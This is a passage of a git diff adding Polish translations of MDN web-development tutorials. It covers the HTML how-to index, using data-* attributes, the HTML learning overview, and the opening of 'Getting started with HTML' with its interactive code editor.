+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Anatomy_of_an_HTML_document">How to create a basic HTML document</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Divide_a_webpage_into_logical_sections">How to divide a webpage into logical sections</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#The_basics_headings_and_paragraphs">How to set up a proper structure of headings and paragraphs</a></li>
+</ul>
+
+<h3 id="Basic_text-level_semantics">Basic text-level semantics</h3>
+
+<p>HTML specializes in providing semantic information for a document, so HTML answers many questions you might have about how to get your message across best in your document.</p>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists">How to create list of items with HTML</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">How to stress or emphasize content</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">How to indicate that text is important</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Representing_computer_code">How to display computer code with HTML</a></li>
+ <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Images_in_HTML#Annotating_images_with_figures_and_figure_captions">How to annotate images and graphics</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations">How to mark abbreviations and make them understandable</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Quotations">How to add quotations and citations to webpages</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Define_terms_with_HTML">How to define terms with HTML</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Hyperlinks">Hyperlinks</h3>
+
+<p>One of the main reasons for HTML is make navigation easy with {{Glossary("hyperlink", "hyperlinks")}}, which can be used in many different ways:</p>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">How to create a hyperlink</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Active_learning_creating_a_navigation_menu">How to create a table of contents with HTML</a></li>
+</ul>
+
+<h3 id="Images_multimedia">Images &amp; multimedia</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Images_in_HTML#How_do_we_put_an_image_on_a_webpage">How to add images to a webpage</a></li>
+ <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">How to add video content to a webpage</a></li>
+ <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">How to add audio content to a webpage</a></li>
+</ul>
+
+<h3 id="Scripting_styling">Scripting &amp; styling</h3>
+
+<p>HTML only sets up document structure. To solve presentation issues, use {{glossary("CSS")}}, or use scripting to make your page interactive.</p>
+
+<ul>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_to_apply_your_CSS_to_your_HTML">How to use CSS within a webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Use_JavaScript_within_a_webpage">How to use JavaScript within a webpage</a></li>
+</ul>
+
+<h3 id="Embedded_content">Embedded content</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">How to embed a webpage within another webpage</a></li>
+ <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#The_%3Cembed%3E_and_%3Cobject%3E_elements">How to add Flash content within a webpage</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Uncommon_or_advanced_problems">Uncommon or advanced problems</h2>
+
+<p>Beyond the basics, HTML is very rich and offers advanced features for solving complex problems. These articles help you tackle the less common use cases you may face:</p>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Forms">Forms</h3>
+
+<p>Forms are a complex HTML structure made to send data from a webpage to a web server. We encourage you to go over our <a href="/en-US/docs/Web/Guide/HTML/Forms">full dedicated guide</a>. Here is where you should start:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms/My_first_HTML_form">How to create a simple Web form</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms/How_to_structure_an_HTML_form">How to structure a Web form</a></li>
+</ul>
+
+<h3 id="Tabular_information">Tabular information</h3>
+
+<p>Some information, called tabular data, needs to be organized into tables with columns and rows. It's one of the most complex HTML structures, and mastering it is not easy:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_a_data_spreadsheet">How to create a data spreadsheet</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Make_HTML_tables_accessible">How to make HTML tables accessible</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Optimize_HTML_table_rendering">How to optimize HTML table rendering</a></li>
+</ul>
+
+<h3 id="Data_representation">Data representation</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTMLHowto/Represent_numeric_values_with_HTML">How to represent numeric values with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">How to use data attributes</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Associate_human_readable_content_with_arbitrary_computer_data_structures">How to associate human readable content with arbitrary computer data structures</a></li>
+</ul>
+
+<h3 id="Interactivity">Interactivity</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_collapsible_content_with_HTML">How to create collapsible content with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_context_menus_to_a_webpage">How to add context menus to a webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_dialog_boxes_with_HTML">How to create dialog boxes with HTML</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Advanced_text_semantics">Advanced text semantics</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Take_control_of_HTML_line_breaking">How to take control of HTML line breaking</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Mark_text_insertion_and_deletion">How to mark changes (added and removed text)</a></li>
+</ul>
+
+<h3 id="Advanced_images_multimedia">Advanced images &amp; multimedia</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">How to add responsive image to a webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">How to add vector image to a webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image">How to add a hit map on top of an image</a></li>
+</ul>
+
+<h3 id="Internationalization">Internationalization</h3>
+
+<p>HTML is not monolingual. It provides tools to handle common internationalization issues.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_multiple_languages_into_a_single_webpage">How to add multiple languages into a single webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Handle_Japanese_ruby_characters">How to handle Japanese ruby characters</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Display_time_and_date_with_HTML">How to display time and date with HTML</a></li>
+</ul>
+
+<h3 id="Performance">Performance</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Author_fast-loading_HTML_pages">How to author fast-loading HTML pages</a></li>
+</ul>
+</div>
+</div>
+
+<p><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span> </p>
diff --git a/files/pl/learn/html/howto/use_data_attributes/index.html b/files/pl/learn/html/howto/use_data_attributes/index.html
new file mode 100644
index 0000000000..9cd0b47a1c
--- /dev/null
+++ b/files/pl/learn/html/howto/use_data_attributes/index.html
@@ -0,0 +1,82 @@
+---
+title: Używanie atrybutów danych
+slug: Learn/HTML/Howto/Use_data_attributes
+tags:
+ - Atrybuty data
+ - HTML5
+ - Web
+translation_of: Learn/HTML/Howto/Use_data_attributes
+---
+<div>
+
+
+<p>{{LearnSidebar}}<br>
+ <a href="/en-US/docs/Web/Guide/HTML/HTML5">HTML5</a> został zaprojektowany z myślą o rozszerzalności dla danych, które powinny być powiązane z konkretnym elementem, ale nie muszą mieć określonego znaczenia. <a href="/en-US/docs/Web/HTML/Global_attributes#attr-dataset">Atrybuty <code>data-*</code></a> pozwalają nam przechowywać dodatkowe informacje w standardowych, semantycznych elementach HTML bez zbędnych obejść takich jak niestandardowe atrybuty, dodatkowe właściwości w DOMie, lub używanie {{domxref("Node.setUserData()")}}.</p>
+</div>
+
+<h2 id="Składnia_HTML">Składnia HTML</h2>
+
+<p>Składnia jest prosta. Jakikolwiek atrybut, którego nazwa zaczyna się od <code>data-</code> jest atrybutem danych. Powiedzmy, że masz element taki jak <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">article</span></font>, w którym chcesz przechowywać dodatkowe dane. W tym celu możesz użyć atrybutu <code>data</code> :</p>
+
+<pre class="brush: html">&lt;article
+ id="electriccars"
+ data-columns="3"
+ data-index-number="12314"
+ data-parent="cars"&gt;
+...
+&lt;/article&gt;</pre>
+
+<h2 id="Dostęp_w_JavaScript">Dostęp w JavaScript</h2>
+
+<p>Odczytanie wartości tych atrybutów w <a href="/en-US/docs/Web/JavaScript">JavaScript</a> jest także bardzo proste. Mógłbyś użyć {{domxref("Element.getAttribute", "getAttribute()")}} podając pełną nazwę HTML atrybutów by je odczytać, jednakże standard wskazuje na łatwiejszą metodę: {{domxref("DOMStringMap")}} można odczytać przez właściwość {{domxref("HTMLElement.dataset", "dataset")}}.</p>
+
+<p>By odczytać atrybut <code>data</code> przez obiekt <code>dataset</code>, użyj części nazwy atrybutu zaraz po <code>data-</code> (pauzy zamieniane są na camelCase).</p>
+
+<pre class="brush: js">var article = document.getElementById('electriccars');
+
+article.dataset.columns // "3"
+article.dataset.indexNumber // "12314"
+article.dataset.parent // "cars"</pre>
+
+<p>Każda wartość jest łańcuchem znaków i może zostać odczytania i zapisana. W powyższym przykładzie, użycie <code>article.dataset.columns = 5</code> zamieni wartość tego atrybutu na <code>"5"</code>.</p>
+
+<h2 id="Dostęp_w_CSS">Dostęp w CSS</h2>
+
+<p>Warto zwrócić uwagę, że atrybuty danych to zwyczajne atrybuty HTML, więc można się do nich dostać w <a href="/en-US/docs/Web/CSS">CSS-ie</a>. By np. pokazać zawartość takiego atrybutu można użyć <a href="/en-US/docs/Web/CSS/content">content</a> w CSS z funkcją {{cssxref("attr")}}:</p>
+
+<pre class="brush: css">article::before {
+ content: attr(data-parent);
+}</pre>
+
+<p>Możesz też użyć <a href="/en-US/docs/Web/CSS/Attribute_selectors">selektorów atrybutu</a> w CSS by zmienić styl głównego elementu w zależności od wartości atrybutów danych:</p>
+
+<pre class="brush: css">article[data-columns='3'] {
+ width: 400px;
+}
+article[data-columns='4'] {
+ width: 600px;
+}</pre>
+
+<p>Możesz zobaczyć jak to działa <a href="http://jsbin.com/ujiday/2/edit">w tym przykładzie na JSBin</a>.</p>
+
+<p>Atrybuty danych można także używać do przechowywania danych, które stale się zmieniają, jak np. wyniki w grze. Używając selektorów CSS oraz JavaScript pozwala uzyskać fajne efekty bez pisania żmudnych procedur wyświetlania. Zobacz <a href="http://www.youtube.com/watch?v=On_WyUB1gOk">to nagranie</a> dla przykładu użycia wygenerowanej treści i przejść w CSS-ie (<a href="http://jsbin.com/atawaz/3/edit">przykład na JSBin</a>).</p>
+
+<p>Wartości tych atrybutów to łańcuchy znakow. Wartości numeryczne należy opakować w cudzysłów w selektorze by zostały one uwzględnione.</p>
+
+<h2 id="Problemy">Problemy</h2>
+
+<p>Nie należy przechowywać w atrybutach danych treści, które powinny być widoczne dla użytkownika, ponieważ programy ułatwiające dostęp nie będą mogły się do nich dostać. Ponadto wyszukiwarki mogą nie indeksować wartości atrybutów danych.</p>
+
+<p>Najważniejszym problemem jaki należy wziąć pod uwagę to wydajność i wsparcie w  przeglądarce Internet Explorer. Internet Explorer 11+ wspiera standard atrybutu danych, ale wcześniejsze wersje <a href="http://caniuse.com/#feat=dataset">nie wspierają obiektu <code>dataset</code></a>. By wykorzystywać atrybuty danych w IE 10 i wcześniejszych wersach, musisz użyć {{domxref("Element.getAttribute", "getAttribute()")}}. Dodatkowo <a href="http://jsperf.com/data-dataset">wydajność czytania atrybutów danych</a> jest gorsza od trzymania danych w zwyczajnych obiektach JS.</p>
+
+<p>Pomimo to, atrybuty danych są świetnym rozwiązaniem dla obsługi meta danych powiązanych z elementami HTML.</p>
+
+<p>W Firefox 49.0.2 (i być może w nowszych lub starszych wersjach), atrybuty danych które przekraczają 1022 znaków nie zostaną odczytane przez Javascript (EcmaScript 4).</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>Ten artykuł jest oparty na <a href="https://hacks.mozilla.org/2012/10/using-data-attributes-in-javascript-and-css/" title="https://hacks.mozilla.org/2012/10/using-data-attributes-in-javascript-and-css/">Using data attributes in JavaScript and CSS pochodzącego z hacks.mozilla.org</a>.</li>
+ <li>Atrybuty są także wspierane w SVG 2; zobacz {{domxref("SVGElement.dataset")}} i {{SVGAttr("data-*")}}.</li>
+ <li><a href="http://www.sitepoint.com/use-html5-data-attributes/">How to use HTML5 data attributes</a> (Sitepoint)</li>
+</ul>
diff --git a/files/pl/learn/html/index.html b/files/pl/learn/html/index.html
new file mode 100644
index 0000000000..e0fc65c2c9
--- /dev/null
+++ b/files/pl/learn/html/index.html
@@ -0,0 +1,50 @@
+---
+title: HTML
+slug: Learn/HTML
+translation_of: Learn/HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Aby budować strony internetowe, powinneś znać {{Glossary('HTML')}} — podstawową technologię wykorzystywaną do definiowania struktury strony internetowej. HTML służy do określania, czy treść internetowa powinna być rozpoznawana jako akapit, lista, nagłówek, link, obraz, odtwarzacz multimedialny, formularz lub jeden z wielu innych dostępnych elementów lub nawet nowego elementu, który definiujesz.</p>
+
+<h2 id="Ścieżka_nauczania">Ścieżka nauczania</h2>
+
+<p>Najlepiej zacząć naukę, ucząc się HTML. Zacznij od czytania wstępnych treści. Możesz następnie przejść do nauki o bardziej zaawansowanych tematach, takich jak:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API">HTML5 APIs</a></li>
+ <li><a href="/en-US/docs/Learn/CSS">CSS</a>, i jak używać go do stylu naszej strony (na przykład zmienić rozmiar czcionki, dodać obramowania i cienie, układać stronę z wieloma kolumnami, dodać animacje i inne efekty wizualne).</li>
+ <li><a href="/en-US/docs/Learn/JavaScript">JavaScript</a>, i jak go używać, żebyś mógł dodać dynamiczną funkcjonalność do stron internetowych (na przykład znaleźć swoją lokalizację i sprecyzować ją na mapie, stworzyć efekty specjalnie, gdy przełączasz przycisk, zapisujesz dane użytkowników lokalnie na swoich komputerach i wiele, wiele więcej.)</li>
+</ul>
+
+<p>Przed rozpoczęciem tego tematu należy mieć co najmniej podstawową znajomość korzystania z komputerów i używać pasywnej sieci Web (tzn. po prostu przeglądać internet). Powinieneś mieć podstawowe środowisko pracy skonfigurowane tak, jak to szczegółowo zostało opisane w części Instalowanie podstawowego oprogramowania i zrozumieć, jak tworzyć i zarządzać plikami, jak opisano szczegółowo w radzeniu sobie z plikami - są częścią naszego Pierwszego kroku z modułami dla początkujących.</p>
+
+<p>Zalecane jest abyś przerobił <a href="/en-US/docs/Learn/Getting_started_with_the_web">Getting started with the web </a>zanim podejdziesz do tego tematu, jednak nie jest to absolutnie konieczne; wiele z tego, co występuje w artykule <a href="/en-US/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML basics</a> jest również wyjaśnione w module <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>, aczkolwiek dużo bardziej szczegółowo.</p>
+
+<h2 id="Moduły">Moduły</h2>
+
+<p>W tym temacie znajdziesz następujące moduły, w sugerowanej kolejności ich przerabiania. Z całą pewnością powinieneś zacząć od pierwszego.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Wstęp to HTML</a></dt>
+ <dd>Ten moduł pozwoli ci poznać podstawy, przyzwyczaić się do używanych pojęć i składni a także zobaczyć w jaki sposób używa się języka HTML do określania właściwości tekstu, tworzenia hiperłączy i definiowania struktury strony internetowej.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding">Multimedia and embedding</a></dt>
+ <dd>This module explores how to use HTML to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Forms_and_buttons">Forms and buttons</a></dt>
+ <dd>Forms and buttons are a very important part of the Web — these allow your site visitors to input data and send it to you (e.g. registration, login and feedback forms), and you to implement controls for controlling complex functionality (for example submitting a form to the server, or pausing playback of a video.) This module gets you started.</dd>
+ <dt>Tables (TBD)</dt>
+ <dd>Representing tabular data on a webpage in an understandable, {{glossary("Accessibility", "accessible")}} way can be a challenge. This module covers basic table markup, along with more complex features such as implementing captions and summaries.</dd>
+</dl>
+
+<h2 id="Solving_common_HTML_problems">Solving common HTML problems</h2>
+
+<p><a href="/en-US/docs/Learn/HTML/Howto">Use HTML to solve common problems</a> provides links to sections of content explaining how to use HTML to solve very common problems when creating a webpage: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc.</p>
+
+<h2 id="See_also">See also</h2>
+
+<div class="document-head" id="wiki-document-head">
+<dl>
+ <dt><a href="/en-US/docs/Web/HTML">HTML (HyperText Markup Language)</a> on MDN.</dt>
+ <dd>The main entry point for HTML documentation on MDN, including detailed element and attribute references — if you want to know what attributes an element has or what values an attribute has, for example, this is a great place to start.</dd>
+</dl>
+</div>
diff --git a/files/pl/learn/html/introduction_to_html/getting_started/index.html b/files/pl/learn/html/introduction_to_html/getting_started/index.html
new file mode 100644
index 0000000000..1f40b24429
--- /dev/null
+++ b/files/pl/learn/html/introduction_to_html/getting_started/index.html
@@ -0,0 +1,763 @@
+---
+title: Rozpoczynanie pracy z HTML
+slug: Learn/HTML/Introduction_to_HTML/Getting_started
+translation_of: Learn/HTML/Introduction_to_HTML/Getting_started
+---
+<div>
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}</div>
+</div>
+
+<p class="summary">W tym artykule omówimy podstawy HTMLa. Żeby ułatwić ci rozpoczęcie nauki, zapoznamy się z elementami, atrybutami i innymi ważnymi terminami, które być może obiły ci się o uszy. Opowiemy też, jak te terminy odnoszą się do HTMLa. Nauczysz się jaką strukturę mają elementy wykorzystywane w HTMLu, jak wygląda struktura całej strony oraz poznasz inne ważne właściwości języka. W międzyczasie będzie okazja, aby też samemu poeksperymentować z pisaniem kodu!</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Warunki wstępne:</th>
+ <td>Podstawowa umiejętność obsługi komputera, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">posiadanie podstawowego oprogramowania</a> oraz typowa wiedza jak <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">pracować z plikami</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">Cel:</th>
+ <td>Zapoznanie się z językiem HTML oraz zastosowanie w praktyce kilku jego elementów</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Czym_jest_HTML">Czym jest HTML?</h2>
+
+<p>{{glossary("HTML")}} (Hypertext Markup Language) nie jest językiem programowania. Jest to <em>język znaczników</em>, który mówi przeglądarce jaką strukturę ma strona, którą odwiedzasz. Może być ona albo bardzo skomplikowana albo bardzo prosta. Zależy to wyłącznie od osoby piszącej stronę. Na HTML składa się kolekcja {{glossary("Element", "elementów")}}, która służy do opisywania i grupowania treści, dzięki której zachowuje się ona, lub wygląda, w określony sposób. Okalające treść {{glossary("Tag", "tagi")}} mogą sprawić, że treść stanie się ona hiperłączem do innej strony, zostanie napisana kursywą oraz wiele innych rzeczy. Dla przykładu, spójrzmy na ten tekst:</p>
+
+<pre class="notranslate">Mój kot jest bardzo humorzasty</pre>
+
+<p>Jeżeli chcielibyśmy aby ten tekst się wyróżniał, możemy wydzielić go do oddzielnego akapitu, za pomocą elementu {{htmlelement("p")}}:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Mój kot jest bardzo humorzasty&lt;/p&gt;</pre>
+
+<div class="note">
+<p><strong>Notka</strong>: Tagi HTMLa nie rozróżniają wielkości liter. Dla przykładu, tag {{htmlelement("title")}} może zostać zapisany jako <code>&lt;title&gt;</code>, <code>&lt;TITLE&gt;</code>, <code>&lt;Title&gt;</code>, <code>&lt;TiTlE&gt;</code>, etc. i nadal będzie działał. Jednakże dobrą praktyką jest pisanie nazw tagów małą literą, dla spójności, czytelność i kilku innych powodów</p>
+</div>
+
+<h2 id="Anatomia_elementu_HTML">Anatomia elementu HTML</h2>
+
+<p>Zagłębmy się w nasz akapit, który napisaliśmy w poprzedniej sekcji:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9347/grumpy-cat-small.png" style="display: block; height: 255px; margin: 0px auto; width: 821px;"></p>
+
+<p>Anatomia tego elementu to:</p>
+
+<ul>
+ <li><strong>Tag otwierający:</strong> Składa się z nazwy elementu (w naszym przypadku <em>p</em>, pochodzącej od angielskiego słowa określającego akapit - <em>paragraph</em>), otoczonej nawiasami ostrokątnymi. Tag otwierający określa gdzie element się zaczyna, w tym przypadku gdzie zaczyna się akapit</li>
+ <li><strong>Zawartość:</strong> Jest nią to, co element ma przechowywać. W tym przypadku jest to treść akapitu</li>
+ <li><strong>Tag zamykający:</strong> Wygląda tak samo jak tag otwierający, z wyjatkiem posiadana przed nazwą ukośnika. Określa gdzie element się kończy. Jego brak może skutkować dziwacznymi błędami, więc szczególnie na początku nauki należy pamiętać o jego umieszczeniu</li>
+</ul>
+
+<p>Podsumowując: Element to tag otwierający, po którym następuje jego treść, a po treści znajduje się tag zamykający</p>
+
+<h3 id="Aktywne_uczenie_się_tworzenie_twojego_pierwszego_elementu_HTML">Aktywne uczenie się: tworzenie twojego pierwszego elementu HTML</h3>
+
+<p>Zedytuj poniższą linijkę, otaczając ją tagami <code>&lt;em&gt;</code> oraz <code>&lt;/em&gt;.</code> Aby określić początek elementu, umieść tag otwierający <code>&lt;em&gt;</code> na początku linijki. Aby określić koniec elementu, umieść tag zamykający <code>&lt;/em&gt;</code> na końcu linijki. Zrobienie tego powinno pokazać linijkę tekstu wypisaną kursywą!</p>
+
+<p>Jeżeli popełnisz błąd, możesz przywrócić pracę do stanu początkowego za pomocą przycisku <em>Reset</em>. Gdybyś nie wiedział jak wykonać to zadanie, możesz kliknąć w przycisk <em>Pokaż rozwiązanie</em>, aby zobaczyć gotowe rozwiązanie</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Podgląd na żywo&lt;/h2&gt;
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Kod do edycji&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Naciśnij ESC, aby zabrać fokus z pola wejścia (Tab wstawia znak tabulatora).&lt;/p&gt;
+
+&lt;textarea id="code" class="playable-code" style="min-height: 100px;width: 95%"&gt;
+ Ten oto tekst jest mój
+&lt;/textarea&gt;
+
+&lt;div class="controls"&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+ &lt;input id="solution" type="button" value="Pokaż rozwiązanie" /&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+ font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
+}
+
+h2 {
+ font-size: 16px;
+}
+
+.a11y-label {
+ margin: 0;
+ text-align: right;
+ font-size: 0.7rem;
+ width: 98%;
+}
+
+body {
+ margin: 10px;
+ background: #f5f9fa;
+}
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+ output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+ textarea.value = code;
+ userEntry = textarea.value;
+ solutionEntry = htmlSolution;
+ solution.value = 'Show solution';
+ updateCode();
+});
+
+solution.addEventListener('click', function() {
+ if(solution.value === 'Show solution') {
+ textarea.value = solutionEntry;
+ solution.value = 'Hide solution';
+ } else {
+ textarea.value = userEntry;
+ solution.value = 'Show solution';
+ }
+ updateCode();
+});
+
+var htmlSolution = '&lt;em&gt;This is my text.&lt;/em&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+ if (e.keyCode === 9) {
+ e.preventDefault();
+ insertAtCaret('\t');
+ }
+
+ if (e.keyCode === 27) {
+ textarea.blur();
+ }
+};
+
+function insertAtCaret(text) {
+ var scrollPos = textarea.scrollTop;
+ var caretPos = textarea.selectionStart;
+
+ var front = (textarea.value).substring(0, caretPos);
+ var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+ textarea.value = front + text + back;
+ caretPos = caretPos + text.length;
+ textarea.selectionStart = caretPos;
+ textarea.selectionEnd = caretPos;
+ textarea.focus();
+ textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+ // We only want to save the state when the user code is being shown,
+ // not the solution, so that solution is not saved over the user code
+ if(solution.value === 'Show solution') {
+ userEntry = textarea.value;
+ } else {
+ solutionEntry = textarea.value;
+ }
+
+ updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Zagnieżdżanie_elementów">Zagnieżdżanie elementów</h3>
+
+<p>Elementy mogą znajdować się wewnątrz innych elementów. Nazywa się to <em>zagnieżdżaniem</em>. Jeżeli chcielibyśmy zaznaczyć, że nasz kot jest <strong>bardzo</strong> humorzasty, możemy zamknąć słowo <em>bardzo</em> w elemencie {{htmlelement("strong")}}, który wytłuści podany mu tekst</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Mój kot jest &lt;strong&gt;bardzo&lt;/strong&gt; humorzasty.&lt;/p&gt;</pre>
+
+<p>Zagnieżdżanie można zrobić w poprawny oraz niepoprawny sposób. W powyższym przykładzie otworzyliśmy najpierw element <code>p</code>, potem element <code>strong</code>. Aby zadnieżdżanie zadziałało, musimy najpier zamknąć element <code>strong</code>, a następnie element <code>p</code>.</p>
+
+<p>Poniżej znajduje się przykład <em>niepoprawnego</em> zagnieżdżania:</p>
+
+<pre class="example-bad brush: html notranslate">&lt;p&gt;Mój kot jest &lt;strong&gt;bardzo humorzasty.&lt;/p&gt;&lt;/strong&gt;</pre>
+
+<p><strong>Jeżeli tak jest otwarty w jakimś elemencie, musi też być w nim zamknięty</strong>. Jeżeli pomieszamy tagi zamykające, tak jak w powyższym przykładzie, przeglądarka będzie musiała zgadywać, o co nam chodziło. A to zgadywanie może prowadzić do nieoczekiwanych wyników</p>
+
+<h3 id="Elementy_blokowe_a_elementy_w_linii">Elementy blokowe, a elementy w linii</h3>
+
+<p>There are two important categories of elements to know in HTML: block-level elements and inline elements.</p>
+
+<ul>
+ <li>Block-level elements form a visible block on a page. A block-level element appears on a new line following the content that precedes it. Any content that follows a block-level element also appears on a new line. Block-level elements are usually structural elements on the page. For example, a block-level element might represent paragraphs, lists, navigation menus, or footers. A block-level element wouldn't be nested inside an inline element, but it might be nested inside another block-level element.</li>
+ <li>Inline elements are contained within block-level elements, and surround only small parts of the document’s content. (not entire paragraphs or groupings of content) An inline element will not cause a new line to appear in the document. It is typically used with text. For example, as an {{htmlelement("a")}} element (hyperlink) or emphasis elements such as {{htmlelement("em")}} or {{htmlelement("strong")}}.</li>
+</ul>
+
+<p>Consider the following example:</p>
+
+<pre class="brush: html notranslate">&lt;em&gt;first&lt;/em&gt;&lt;em&gt;second&lt;/em&gt;&lt;em&gt;third&lt;/em&gt;
+
+&lt;p&gt;fourth&lt;/p&gt;&lt;p&gt;fifth&lt;/p&gt;&lt;p&gt;sixth&lt;/p&gt;
+</pre>
+
+<p>{{htmlelement("em")}} is an inline element. As you see below, the first three elements sit on the same line, with no space in between. On the other hand, {{htmlelement("p")}} is a block-level element. Each <em>p</em> element appears on a new line, with space above and below. (The spacing is due to default <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS styling</a> that the browser applies to paragraphs.)</p>
+
+<p>{{ EmbedLiveSample('Block_versus_inline_elements', 700, 200, "", "") }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: HTML5 redefined the element categories: see <a href="https://html.spec.whatwg.org/multipage/indices.html#element-content-categories">Element content categories</a>. While these definitions are more accurate and less ambiguous than their predecessors, the new definitions are a lot more complicated to understand than <em>block</em> and <em>inline. </em>This article will stay with these two terms.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: The terms <em>block</em> and <em>inline</em>, as used in this article, should not be confused with <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">the types of CSS boxes</a> that have the same names. While the names correlate by default, changing the CSS display type doesn't change the category of the element, and doesn't affect which elements it can contain and which elements it can be contained in. One reason HTML5 dropped these terms was to prevent this rather common confusion.</p>
+</div>
+
+<div class="note">
